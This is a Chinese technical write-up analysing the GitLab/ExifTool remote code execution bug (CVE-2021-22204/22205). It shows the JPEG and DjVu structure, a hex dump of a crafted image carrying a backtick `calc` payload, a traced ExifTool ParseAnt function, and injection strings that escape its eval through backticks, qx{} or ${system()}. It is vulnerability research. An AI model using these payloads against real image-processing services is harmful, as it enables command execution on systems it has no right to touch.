作者:AirSky@天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/WP5h4UXuJABSEmc45yAyTw

0x01 前言

安全研究員vakzz于4月7日在hackerone上提交了一個關于gitlab的RCE漏洞[1],在當時并沒有提及是否需要登錄gitlab進行授權利用,在10月25日該漏洞被國外安全公司通過日志分析發現未授權的在野利用[2],并發現了新的利用方式。根據官方漏洞通告[3]頁面得知安全的版本為13.10.3、13.9.6 和 13.8.8。該漏洞分為兩個部分,分別是:

  • CVE-2021-22005 Gitlab 未授權
  • exiftool RCE CVE-2021-22004

上一篇CVE-2021-22205 GitLab RCE之未授權訪問深入分析(一)復現分析了第一部分也就是攜帶惡意文件的請求是如何通過gitlab傳遞到exiftool進行解析的,接下來我將分析exiftool漏洞的原理和最后的觸發利用。 希望讀者能讀有所得,從中收獲到自己獨特的見解。

0x01 前置知識

同樣的我也會在本篇文章中梳理一些前置知識來讓讀者更深入的了解漏洞,舉一反三。

JPEG文件格式

本次漏洞可以通過讀取正常的JPG圖像文件的EXIF信息來觸發漏洞,而JPEG的文件格式直接定義了exiftool是如何來讀取jpg文件的exif信息,其中就包含了觸發漏洞的payload。所以我們有必要了解一下payload是如何被插入到JPG文件中又是怎么被讀取到的,而不影響圖片的正常顯示。

下面就來一探究竟,使用010 Editor打開一張帶有payload的圖片查看其文件格式,選擇jpg模版之后在下圖中可以看到,上方的Hex數據內容分別對應著下方模版結果欄存在的幾個標記段。

圖片

每個標記段通過Marker來定位,如MarkerSOI(Start Of Image)的內容是0xFFD8MarkerAPP0~APP15的內容是0xFFE0 ~ 0xFFEFMarker的長度為固定的 2 Byte。除了開頭和結尾的Marker外,其余的數據段格式為:

Marker Number(2 byte) + Data size(2 bytes) + Data((Size-2) bytes)

Marker后面兩個字節Data size表示存儲Marker的數據段長度。如上圖表示APP0長度為16,APP1長度為210。大家可以看到APP0和APP1所表示的結構不太一樣,那是因為它們使用了不同的文件格式,前者為JFIF后者為Exif,它們都是遵循JIF標準的。所有的Exif數據都儲存在APP1數據段中。Exif數據部分采用TIFF格式組織,做為一種標記語言,TIFF與其他文件格式最大的不同在于除了圖像數據,它還可以記錄很多圖像的其他信息。

這里我們重點關注一下APP1數據段,從上圖中來看APP1可以分為兩個大的部分,第一部分是前三個字段,從FFE1開始分別表示了APP1的位置長度和名稱。第二個部分剩下的字段為標準的TIFF格式,TIFF格式主要由三部分組成,分別是圖像文件頭IFH(Image File Header), 圖像文件目錄IFD(Image File Directory)和目錄項DE(Directory Entry)。結構如下:

+------------------------------------------------------------------------------+
|                           TIFF Structure                                     |
|  IFH                                                                         |
| +------------------+                                                         |
| | II/MM            |                                                         |
| +------------------+                                                         |
| | 42               |      IFD                                                |
| +------------------+    +------------------+                                 |
| | Next IFD Address |--->| IFD Entry Num    |                                 |
| +------------------+    +------------------+                                 |
|                         | IFD Entry 1      |                                 |
|                         +------------------+                                 |
|                         | IFD Entry 2      |                                 |
|                         +------------------+                                 |
|                         |                  |      IFD                        |
|                         +------------------+    +------------------+         |
|     IFD Entry           | Next IFD Address |--->| IFD Entry Num    |         |
|    +---------+           +------------------+   +------------------+         |
|    | Tag     |                                  | IFD Entry 1      |         |
|    +---------+                                  +------------------+         |
|    | Type    |                                  | IFD Entry 2      |         |
|    +---------+                                  +------------------+         |
|    | Count   |                                  |                  |         |
|    +---------+                                  +------------------+         |
|    | Offset  |--->Value                         | Next IFD Address |--->NULL |
|    +---------+                                  +------------------+         |
|                                                                              |
+------------------------------------------------------------------------------+

根據 TIFF Header (上面的IFH)的后四個字節(表示到IFD0的偏移),我們可以找到第一個IFD。本次示例圖的IFD如下:

圖片

根據第一個字段我們知道存在5個IFD Entry,分別代表5個exif標簽元數據。IFD Entry的字段分別指出了標簽標識符、類型、數量、和內容偏移/內容,而我們的payload正處于第5個標簽0xc51b中,在exiftool中這個標簽名為HasselbladExif。可以看到其中的DWORD offsetData指向了struct strAscii,這部分內容正是DjVu格式的數據,exiftool解析到HasselbladExif這個標簽則會調用特定函數遞歸解析其攜帶的內容,也就會解析DjVu注釋。我們使用exiftool的-v參數也能列出其文件結構,結果如下:

D:\Desktop\Works\Topsec\hacktips>exiftool-11.94.exe -v10 rce.jpg
  ExifToolVersion = 11.94
  FileName = rce.jpg
  Directory = .
  FileSize = 47343
  FileModifyDate = 1641524876
  FileAccessDate = 1642523214.51503
  FileCreateDate = 1641524902.44145
  FilePermissions = 33206
  FileType = JPEG
  FileTypeExtension = JPG
  MIMEType = image/jpeg
JPEG APP0 (14 bytes):
    0006: 4a 46 49 46 00 01 01 01 00 48 00 48 00 00       [JFIF.....H.H..]
  + [BinaryData directory, 9 bytes]
  | JFIFVersion = 1 1
  | - Tag 0x0000 (2 bytes, int8u[2]):
  |     000b: 01 01                                           [..]
  | ResolutionUnit = 1
  | - Tag 0x0002 (1 bytes, int8u[1]):
  |     000d: 01                                              [.]
  | XResolution = 72
  | - Tag 0x0003 (2 bytes, int16u[1]):
  |     000e: 00 48                                           [.H]
  | YResolution = 72
  | - Tag 0x0005 (2 bytes, int16u[1]):
  |     0010: 00 48                                           [.H]
  | ThumbnailWidth = 0
  | - Tag 0x0007 (1 bytes, int8u[1]):
  |     0012: 00                                              [.]
  | ThumbnailHeight = 0
  | - Tag 0x0008 (1 bytes, int8u[1]):
  |     0013: 00                                              [.]
JPEG APP1 (208 bytes):
    0018: 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 [Exif..MM.*......]
    0028: 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 [...........J....]
    0038: 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 [.......R.(......]
    0048: 00 02 00 00 02 13 00 03 00 00 00 01 00 01 00 00 [................]
    0058: c5 1b 00 02 00 00 00 6f 00 00 00 5a 00 00 00 00 [.......o...Z....]
    0068: 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 [...H.......H....]
    0078: 41 54 26 54 46 4f 52 4d 00 00 00 62 44 4a 56 55 [AT&TFORM...bDJVU]
    0088: 49 4e 46 4f 00 00 00 0a 00 00 00 00 18 00 2c 01 [INFO..........,.]
    0098: 16 01 42 47 6a 70 00 00 00 22 41 54 26 54 46 4f [..BGjp..."AT&TFO]
    00a8: 52 4d 00 00 00 00 44 4a 56 55 49 4e 46 4f 00 00 [RM....DJVUINFO..]
    00b8: 00 0a 00 00 00 00 18 00 2c 01 16 01 41 4e 54 61 [........,...ANTa]
    00c8: 00 00 00 1a 28 6d 65 74 61 64 61 74 61 20 22 5c [....(metadata "\]
    00d8: 0a 22 2e 60 63 61 6c 63 60 2e 5c 22 67 22 00 00 [.".`calc`.\"g"..]
  ExifByteOrder = MM
  + [IFD0 directory with 5 entries]
  | 0)  XResolution = 72 (72/1)
  |     - Tag 0x011a (8 bytes, rational64u[1]):
  |         0068: 00 00 00 48 00 00 00 01                         [...H....]
  | 1)  YResolution = 72 (72/1)
  |     - Tag 0x011b (8 bytes, rational64u[1]):
  |         0070: 00 00 00 48 00 00 00 01                         [...H....]
  | 2)  ResolutionUnit = 2
  |     - Tag 0x0128 (2 bytes, int16u[1]):
  |         0048: 00 02                                           [..]
  | 3)  YCbCrPositioning = 1
  |     - Tag 0x0213 (2 bytes, int16u[1]):
  |         0054: 00 01                                           [..]
  | 4)  HasselbladExif = AT&TFORMbDJVUINFO..,...BGjp"AT&TFORMDJVUINFO..,...ANTa.(metadata "\.".`calc`.\"g"
  |     - Tag 0xc51b (111 bytes, string[111] read as undef[111]):
  |         0078: 41 54 26 54 46 4f 52 4d 00 00 00 62 44 4a 56 55 [AT&TFORM...bDJVU]
  |         0088: 49 4e 46 4f 00 00 00 0a 00 00 00 00 18 00 2c 01 [INFO..........,.]
  |         0098: 16 01 42 47 6a 70 00 00 00 22 41 54 26 54 46 4f [..BGjp..."AT&TFO]
  |         00a8: 52 4d 00 00 00 00 44 4a 56 55 49 4e 46 4f 00 00 [RM....DJVUINFO..]
  |         00b8: 00 0a 00 00 00 00 18 00 2c 01 16 01 41 4e 54 61 [........,...ANTa]
  |         00c8: 00 00 00 1a 28 6d 65 74 61 64 61 74 61 20 22 5c [....(metadata "\]
  |         00d8: 0a 22 2e 60 63 61 6c 63 60 2e 5c 22 67 22 00    [.".`calc`.\"g".]
  | FileType = DJVU
  | FileTypeExtension = DJVU
  | MIMEType = image/vnd.djvu
AIFF 'INFO' chunk (10 bytes of data): 24
  | INFO (SubDirectory) -->
  | - Tag 'INFO' (10 bytes):
  |     0018: 00 00 00 00 18 00 2c 01 16 01                   [......,...]
  | + [BinaryData directory, 10 bytes]
  | | ImageWidth = 0
  | | - Tag 0x0000 (2 bytes, int16u[1]):
  | |     0018: 00 00                                           [..]
  | | ImageHeight = 0
  | | - Tag 0x0002 (2 bytes, int16u[1]):
  | |     001a: 00 00                                           [..]
  | | DjVuVersion = 24 0
  | | - Tag 0x0004 (2 bytes, int8u[2]):
  | |     001c: 18 00                                           [..]
  | | SpatialResolution = 11265
  | | - Tag 0x0006 (2 bytes, int16u[1]):
  | |     001e: 2c 01                                           [,.]
  | | Gamma = 22
  | | - Tag 0x0008 (1 bytes, int8u[1]):
  | |     0020: 16                                              [.]
  | | Orientation = 1
  | | - Tag 0x0009, mask 0x07 (1 bytes, int8u[1]):
  | |     0021: 01                                              [.]
AIFF 'BGjp' chunk (34 bytes of data): 42
  |     0000: 41 54 26 54 46 4f 52 4d 00 00 00 00 44 4a 56 55 [AT&TFORM....DJVU]
  |     0010: 49 4e 46 4f 00 00 00 0a 00 00 00 00 18 00 2c 01 [INFO..........,.]
  |     0020: 16 01                                           [..]
AIFF 'ANTa' chunk (26 bytes of data): 84
  | ANTa (SubDirectory) -->
  | - Tag 'ANTa' (26 bytes):
  |     0054: 28 6d 65 74 61 64 61 74 61 20 22 5c 0a 22 2e 60 [(metadata "\.".`]
  |     0064: 63 61 6c 63 60 2e 5c 22 67 22                   [calc`.\"g"]
  | | Metadata (SubDirectory) -->
  | | + [Metadata directory with 1 entries]
  | | | Warning = Ignored invalid metadata entry(s)
JPEG DQT (65 bytes):
    00ec: 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a [................]
    00fc: 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 [................]
    010c: 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 [.....%...#... , ]
    011c: 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 [#&')*)..-0-(0%()]
    012c: 28                                              [(]
JPEG DQT (65 bytes):
    0131: 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 [...........(...(]
    0141: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 [((((((((((((((((]
    0151: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 [((((((((((((((((]
    0161: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 [((((((((((((((((]
    0171: 28                                              [(]
JPEG SOF2 (15 bytes):
    0176: 08 01 d3 02 ee 03 01 22 00 02 11 01 03 11 01    [.......".......]
  ImageWidth = 750
  ImageHeight = 467
  EncodingProcess = 2
  BitsPerSample = 8
  ColorComponents = 3
  YCbCrSubSampling = 2 2
JPEG DHT (26 bytes):
    0189: 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 [................]
    0199: 00 00 01 02 03 04 05 06 07 08                   [..........]
JPEG DHT (24 bytes):
    01a7: 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 [................]
    01b7: 00 00 01 02 03 04 05 06                         [........]
JPEG SOS
JPEG DHT (50 bytes):
    1767: 10 00 02 01 03 02 04 05 03 04 02 02 03 01 01 00 [................]
    1777: 00 01 02 03 00 04 11 12 21 05 10 13 31 20 22 30 [........!...1 "0]
    1787: 32 33 14 23 41 06 24 34 40 35 42 15 43 25 50 60 [23.#A.$4@5B.C%P`]
    1797: 44 16                                           [D.]
JPEG SOS
JPEG DHT (47 bytes):
    33b1: 11 00 02 01 03 02 04 05 02 05 05 01 00 00 00 00 [................]
    33c1: 00 00 01 02 03 11 12 04 21 10 13 20 31 05 22 30 [........!.. 1."0]
    33d1: 32 41 23 51 14 33 42 43 61 15 34 40 50 71 81    [2A#Q.3BCa.4@Pq.]
JPEG SOS
JPEG DHT (49 bytes):
    3b9d: 11 00 02 02 01 03 02 05 03 03 03 04 03 01 00 00 [................]
    3bad: 00 01 02 00 03 11 04 12 21 10 31 13 20 22 32 41 [........!.1. "2A]
    3bbd: 05 14 51 30 33 61 23 40 43 15 24 42 71 34 81 b1 [..Q03a#@C.$Bq4..]
    3bcd: 91                                              [.]
JPEG SOS
JPEG DHT (57 bytes):
    46e2: 10 00 01 03 02 03 07 02 03 06 06 02 02 03 00 00 [................]
    46f2: 00 01 00 02 11 10 21 03 12 31 20 22 30 41 51 61 [......!..1 "0AQa]
    4702: 71 04 40 13 32 81 23 42 50 62 91 a1 52 60 72 73 [q.@.2.#BPb..R`rs]
    4712: 82 b1 92 c1 14 33 34 63 d1                      [.....34c.]
JPEG SOS
JPEG DHT (40 bytes):
    57aa: 10 00 02 02 02 02 02 01 04 02 03 01 01 01 00 00 [................]
    57ba: 00 00 01 11 21 10 31 41 51 20 61 71 30 81 91 a1 [....!.1AQ aq0...]
    57ca: b1 c1 40 d1 f0 e1 50 f1                         [..@...P.]
JPEG SOS
JPEG SOS
JPEG DHT (40 bytes):
    783e: 11 01 00 02 02 02 03 00 02 01 03 04 03 00 00 00 [................]
    784e: 00 01 00 11 21 31 10 41 20 51 61 30 71 81 91 a1 [....!1.A Qa0q...]
    785e: e1 40 50 b1 c1 d1 f0 f1                         [.@P.....]
JPEG SOS
JPEG DHT (40 bytes):
    7f3f: 11 01 01 01 00 02 03 00 02 02 01 04 02 03 01 00 [................]
    7f4f: 00 01 00 11 21 31 10 41 51 20 61 71 81 a1 30 91 [....!1.AQ aq..0.]
    7f5f: b1 c1 40 f0 50 d1 e1 f1                         [..@.P...]
JPEG SOS
JPEG DHT (39 bytes):
    87d4: 10 01 00 02 02 02 02 01 04 02 03 01 01 01 00 00 [................]
    87e4: 00 01 00 11 21 31 41 51 10 61 71 20 81 91 a1 b1 [....!1AQ.aq ....]
    87f4: c1 30 d1 f0 40 e1 f1                            [.0..@..]
JPEG SOS
JPEG EOI

總結如下,圖片來自圖像元數據(Metadata) ——Exif信息分析[4]

圖片

Perl模式匹配

Perl中的一個正則表達式也稱為一個模式,一共有三種模式,分別是匹配,替換和轉化,這三種形式一般都和 =~ 或 !~ 搭配使用,=~ 表示相匹配,!~ 表示不匹配。本文主要介紹模式匹配,定義如下:

  • m/<regexp>/
  • /<regexp>/
  • m?<regexp>?

模式匹配中有下列幾種選項,位于表達式末尾:

選項 描述
i 忽略模式中的大小寫
m 多行模式
o 僅賦值一次
s 單行模式,"."匹配"\n"(默認不匹配)
x 忽略模式中的空白
g 全局匹配
cg 全局匹配失敗后,允許再次查找匹配串

這里主要介紹gms選項,首先來看g選項,示例如下:

$str = "I am superman";
for (;;) {
    last unless $str =~ /(\S)/g;
    print pos($str).".".$1;
    print " ";
}

代碼輸出結果為

1.I 3.a 4.m 6.s 7.u 8.p 9.e 10.r 11.m 12.a 13.n 

可以看到其作用就是遍歷輸出每個和正則表達式相匹配的字符,并為其標號,下面就來解讀下這段代碼中的幾個關鍵點:

  1. last unless表示其后的表達式返回0則退出循環。
  2. 使用正則模式匹配$str =~ /(\S)/g;來全局匹配非空格字符。
  3. pos函數用于查找最后匹配的子字符串的偏移量或位置。
  4. 匹配的表達式中,括號部分的匹配項內容用$標號表示,$1則表示第一個括號匹配的內容。

由于使用了g全局匹配,此時會匹配盡可能多的次數,所以每次進入for循環匹配到的都是下一個滿足正則表達式的內容,此后分別打印了匹配的位置和內容,實現了遍歷字符串。

下面來看使用m選項和s選項,看下面的示例代碼:

$str = "Topsec\nalpha\nlab";
print '1' if $str =~ /^alpha$/m;
print '2' if $str =~ /alpha.*lab/s;

代碼將輸出12

  • m選項

默認的正則開始^和結束$是對于整個字符串。如果在修飾符中加上m,那么開始和結束將會指字符串的每一行:每一行的開頭就是^,結尾就是$。由于在字符串中使用了\n換行。所以使用m模式時會將字符串視為多行,不管是那行都能匹配。

  • s選項

一般的模式匹配中pattern指的都是單行的字符串,所以只能用于匹配換行前面,或者后面。加上模式匹配選項s后點號元字符將匹配所有字符,包含換行符。所以對于字符串Topsec\nalpha\nlab,雖然含有\n,但是仍然會將其作為單行的字符串,這種情況下這行中就含有alphalab

0x03 exiftool源碼調試到漏洞分析

環境搭建

exiftool是由perl語言編寫的,所以我們只需要在ide中配置好perl環境,然后打開exiftool工程即可。exiftool源碼下載地址為releases[5]。選擇下載存在漏洞的對應版本即可,這里下載的是v12.23。ide選擇的是Komodo。安裝相關環境后點擊此處打開exiftool工程目錄然后打開目錄下的windows_exiftool文件

圖片

點擊第一行的運行按鈕,如果出現報錯提示忽略即可,此時彈出Debugging Options,在腳本參數一欄填寫需要傳遞的參數如-ver查看版本,最后點擊OK,在右下角即可查看運行輸出結果。如果需要調試斷點直接在指定代碼行處斷下即可。

圖片

漏洞簡介

引用上一篇的部分前置知識:

ExifTool由Phil Harvey開發,是一款免費、跨平臺的開源軟件,用于讀寫和處理圖像(主要)、音視頻和PDF等文件的元數據(metadata)。ExifTool可以作為Perl庫(Image::ExifTool)使用,也有功能齊全的命令行版本。ExifTool支持很多類型的元數據,包括Exif、IPTC、XMP、JFIF、GeoTIFF、ICC配置文件、Photoshop IRB、FlashPix、AFCP和ID3,以及眾多品牌的數碼相機的私有格式的元數據。

DjVu是由AT&T實驗室自1996年起開發的一種圖像壓縮技術,已發展成為標準的圖像文檔格式之一,可以作為PDF的替代品。

ExifTool在xxx解析文件的時候會忽略文件的擴展名,嘗試根據文件的內容來確定文件類型,其中支持的類型有DjVu。關鍵在于ExifTool在解析DjVu注釋的ParseAnt函數中存在漏洞,漏洞的構造觸發可以分為三步:

  1. 構造DjVu文件嵌入惡意代碼到注釋塊ANTa或者ANTz中。
  2. 將DjVu文件以插入到jpg中的標簽元數據內,標簽名稱是HasselbladExif(0xc51b)
  3. 當exiftool解析到特定標簽名HasselbladExif(0xc51b)時,會遞歸解析其中數據,最后調用ParseAnt,造成了ExifTool代碼執行漏洞。

該漏洞存在于ExifTool的7.44版本以上,在12.4版本中修復。想知道parseAnt函數是怎么被調用的嗎?下面就跟我一起進入exiftool的源碼來一探究竟吧。

根據原作者文章ExifTool CVE-2021-22204 - Arbitrary Code Execution[6]在存在漏洞的ParseAnt函數(\lib\Image\ExifTool\DjVu.pm)中關鍵處打下斷點

圖片

切換到windows_exiftool文件點擊運行在啟動參數處填入jpg文件地址

圖片

此時在右下角可以看到調用棧

圖片

我們根據調用棧的輔助來簡單分析一下其中的幾個關鍵點:

  1. exiftool是如何解析嵌入的0xc51b(HasselbladExif)標簽。
  2. DjVu模塊中的parseAnt函數是怎么被調用的。

exiftool是如何解析嵌入的0xc51b標簽

首先來看第一個問題,跟進調用棧中的ExtractInfo函數,根據其代碼中定義處的注釋(如下)得知該函數的作用就是從圖像中提取元信息:

# Extract meta information from image
# Inputs: 0) ExifTool object reference
#         1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
#...
}

圖片

一步步分析調試后發現在2583行會通過until遍歷fileTypeList數組,其值來自fileTypes,存儲著已識別的文件類型,之后的處理會一個個取出成員賦值給tpye,并判斷當前類型對應的幻數$magicNumber{$type}是否匹配內容$buff的頭部進而來確定文件類型,如下圖:

圖片

圖片

圖片

根據獲取到type來動態調用相關處理函數,如下圖:

圖片

在6495行判斷內容標記為E1并且是exif開頭時根據前置知識的分析會進入TIFF的目錄結構解析,如下圖:

圖片

圖片

ProcessExif函數的5866行開始會循環遍歷IFD中的所有條目,其中就包括了我們插入的hassexif(0xc51b)標簽,50459為0xc51b的十進制值,調用棧和調用邏輯如下圖:

圖片

圖片

現在來看看關于該標簽的定義,注釋為Hasselblad H3D,搜索得知是一個相機品牌,關于其exif信息的處理在RawConv字段定義著一些代碼,這些代碼中調用到了ExtractInfo函數:

圖片

    0xc51b => { # (Hasselblad H3D)
        Name => 'HasselbladExif',
        Format => 'undef',
        RawConv => q{
            $$self{DOC_NUM} = ++$$self{DOC_COUNT};
            $self->ExtractInfo(\$val, { ReEntry => 1 });
            $$self{DOC_NUM} = 0;
            return undef;
        },
    },

繼續跟進在6565行調用FoundTag獲取該標簽處理方式RawConv并傳入標簽所攜帶的數據,如下圖:

圖片

進入FoundTag函數后發現在其中取出并執行了RawConv,如下圖:

圖片

接下來進入ExtractInfo執行元數據的嵌套解析也就是0xc51b標簽的內容。此時第一個疑惑exiftool是如何解析嵌入的0xc51b(HasselbladExif)標簽已經解決。

exiftool是如何調用parseAnt函數

現在來看DjVu模塊中的parseAnt函數是怎么被調用的。進入ExtractInfo后會再次來到前面分析過的until遍歷確定文件類型,如下圖:

圖片

加載相應處理函數并調用,如下圖:

圖片

在ProcessAIFF中判斷是否DJVU文件,并加載對應標簽配置表%Image::ExifTool::DjVu::Main,如下圖:

圖片

表中定義了一些數據塊字段名諸如INFO、ANTa、ANTz,字段中的SubDirectory指向了另一個標簽表,其中ANTa和ANTz為同一個:

# DjVu chunks that we parse (ref 4)
%Image::ExifTool::DjVu::Main = (
    GROUPS => { 2 => 'Image' },
    NOTES => q{
        Information is extracted from the following chunks in DjVu images. See
        L<http://www.djvu.org/> for the DjVu specification.
    },
    INFO => {
        SubDirectory => { TagTable => 'Image::ExifTool::DjVu::Info' },
    },
    FORM => {
        TypeOnly => 1,  # extract chunk type only, then descend into chunk
        SubDirectory => { TagTable => 'Image::ExifTool::DjVu::Form' },
    },
    ANTa => {
        SubDirectory => { TagTable => 'Image::ExifTool::DjVu::Ant' },
    },
    ANTz => {
        Name => 'CompressedAnnotation',
        SubDirectory => {
            TagTable => 'Image::ExifTool::DjVu::Ant',
            ProcessProc => \&ProcessBZZ,
        }
    },
    INCL => 'IncludedFileID',
);

接來下就開始循環獲取數據塊內容并調用HandleTag進行處理,如下圖中獲取到了ANTa注釋塊:

圖片

按照邏輯獲取到注釋塊之后應該查找其在標簽配置表%Image::ExifTool::DjVu::Main的位置,所以在HandleTag函數中獲取到了ANTa注釋塊對應的SubDirectory,為Image::ExifTool::DjVu::Ant(參照前文標簽配置表),如下圖:

圖片

因為得到的SubDirectory同樣是一個標簽表,所以會通過GetTagTable函數獲取其內容,如下圖:

圖片

獲取的內容如下,其中的PROCESS_PROC指向了一個函數地址:

# tags found in the DjVu annotation chunk (ANTz or ANTa)
%Image::ExifTool::DjVu::Ant = (
    PROCESS_PROC => \&Image::ExifTool::DjVu::ProcessAnt,
    GROUPS => { 2 => 'Image' },
    NOTES => 'Information extracted from annotation chunks.',
    # Note: For speed, ProcessAnt() pre-scans for known tag ID's, so if any
    # new tags are added here they must also be added to the pre-scan check
    metadata => {
        SubDirectory => { TagTable => 'Image::ExifTool::DjVu::Meta' }
    },
    xmp => {
        Name => 'XMP',
        SubDirectory => { TagTable => 'Image::ExifTool::XMP::Main' }
    },
);

上圖代碼的下一行會進入ProcessDirectory處理目錄也就是標簽表,在函數中的7708行通過$$tagTablePtr{PROCESS_PROC}Image::ExifTool::DjVu::ProcessAnt的地址傳遞給變量$proctagTablePtr來自于%Image::ExifTool::DjVu::Ant,其中的PROCESS_PROC為硬編碼,上方也能看出。

圖片

圖片

其后在7741行中調用了$proc傳入了dirinfo哈希變量,其中的鍵DataPt包含了ANTa注釋塊的內容也就是我們的payload。

圖片

這時跟進去后在ProcessAnt中就發現了我們熟悉的parseAnt被調用,ProcessAnt的作用是處理DjVu注釋塊(ANTa或解碼ANTz),代碼中首先取到了$dataPt,然后判斷是否存在名稱為metadata或xmp的部分S表達式,正常情況下的表達式為(metadata (<tag> "<payload>"))。最后調用parseAnt解析表達式。

圖片

parseAnt函數分析

到了關鍵的parseAnt函數,為什么會導致代碼執行,下面就來分析一下該函數。為了方便理解,我在保持parseAnt原作用的情況下對調用進行了分析打印,代碼如下:

sub ParseAnt($)
{

    my $dataPt = shift;
    print "首次進入變量內容為:".$$dataPt."\n";
    #print $$dataPt;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        print "獲取的非空字符串為:".$1."\n";
        if ($1 eq '(') {       # start of list
            print "進入遞歸解析\n";
            $tok = ParseAnt($dataPt);
            print "進入遞歸結果為$tok\n";
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            my $tok = '';
            print "進入子串解析\n";
            for (;;) {
                print "循環子串解析\n";
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                print "首個引號偏移量為:".$pos."\n";#第一個引號位置
                last Tok unless $$dataPt =~ /"/sg;
                print "第二個引號偏移量為:".pos($$dataPt)."\n";
                my $len=pos($$dataPt)-1-$pos;
                print "切割字符串為:$$dataPt,起始位置為:$pos,長度為:$len\n";
                my $sub=substr($$dataPt, $pos, $len);
                my $part=$tok;
                $tok .= $sub;
                print "切割后的字符串為:$tok=$part+$sub\n";#首先解析的是引號內的內容
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;#處理存在轉義的情況
                $tok .= '"';    # quote is part of the string
                print "如果是奇數個反斜杠結尾,則添加引號字符串為:$tok\n";
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            print "eval執行前為:$tok\n";
            $tok =eval qq{"$tok"};
            print "eval執行后為:$tok\n";
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/g ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}
my $ant='(metadata (name "exif\"tool"))';
ParseAnt(\$ant)

上方代碼中我會通過parseAnt來解析一個標準的DjVu注釋(metadata (name "exif\"tool"))來帶你理解函數的執行流程。

我將過程分為三個部分:

  1. 首先在循環中使用last unless $$dataPt =~ /(\S)/sg獲取注釋中的非空字符逐個判斷,當字符為"時則進入內容解析,此時會通過pos函數獲取前面正則匹配的引號位置。其后又使用正則和pos函數判斷了下一個引號的位置,并使用substr切割其中的字符串。

  2. 關鍵代碼last unless $tok =~ /(\\+)$/ and length($1) & 0x01中使用正則(\\+)$匹配切割后字符串結尾的反斜杠,通過and來連接length($1) & 0x01;(當單數和0x01進行與運算時會返回1)判斷反斜杠是否為單數個,單數個反斜杠說明該段內容中存在被轉義的引號,則拼接一個引號到字符串中繼續進行循環,直到匹配不到或者為偶數時退出循環,為什么要采用拼接雙引號的形式,因為這里原本取的就是雙引號之間的內容,所以不會取到其中原本就包含雙引號的情況,需要拼接。

  3. 通過s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge替換模式將切割后字符串中的$@字符分別轉義為\$\@避免之后帶入eval造成代碼執行風險。而eval的作用根據注釋是實現對某些轉義的處理,例如\n

打印的執行結果如下:

首次進入變量內容為:(metadata (name "exif\"tool"))
獲取的非空字符串為:(
進入遞歸解析
首次進入變量內容為:(metadata (name "exif\"tool"))
獲取的非空字符串為:m
獲取的非空字符串為:(
進入遞歸解析
首次進入變量內容為:(metadata (name "exif\"tool"))
獲取的非空字符串為:n
獲取的非空字符串為:"
進入子串解析
循環子串解析
上一個引號偏移量為:17
第二個引號偏移量為:23
切割字符串為:(metadata (name "exif\"tool")),起始位置為:17,長度為:5
切割后的字符串為:exif\=+exif\
如果是奇數個反斜杠結尾,則添加引號字符串為:exif\"
循環子串解析
上一個引號偏移量為:23
第二個引號偏移量為:28
切割字符串為:(metadata (name "exif\"tool")),起始位置為:23,長度為:4
切割后的字符串為:exif\"tool=exif\"+tool
eval執行前為:exif\"tool
eval執行后為:exif"tool
獲取的非空字符串為:)
進入遞歸結果為ARRAY(0x3ad4130)
獲取的非空字符串為:)
進入遞歸結果為ARRAY(0x3ac87c0)

parseAnt漏洞分析

通過上面的分析我們知道了函數中存在一個代碼執行eval點如下:

eval qq{"$tok"};
#or
eval "\"$tok\"";

在Perl提供了另一個引號機制,即qq和qx等(雙引號和反引號)。使用qq運算符(qq+界限符),就可以避免使用雙引號將字符串包起來,從而不需額外轉義在字符串中原本帶有的雙引號。界限符可以選擇:( ),< >,{ },[ ]其中的一對。使用qx運算符相當于使用system函數,可以用于執行系統命令。

要想在這個環境中執行系統命令就需要在變量$tok包含.來連接表達式的值和"來閉合原有的雙引號(結尾也可以選擇使用#來注釋掉),或者包含標量${從而不需要".,將$tok替換后如下:

$tok = '".`command`."'; #or '".`command`#"';
$tok = eval "".`command`.""; #or  eval "".`command`#"";
#or
$tok = '".qx{command}."';
$tok = eval "".qx{command}."";
#or
$tok = '"${system(command)}"';
$tok = eval "${system(command)}";

圖片

了解這些知識后我們再結合源碼來看payload,先看需要進行閉合的payload:

(metadata "\
".`calc`.\"g"

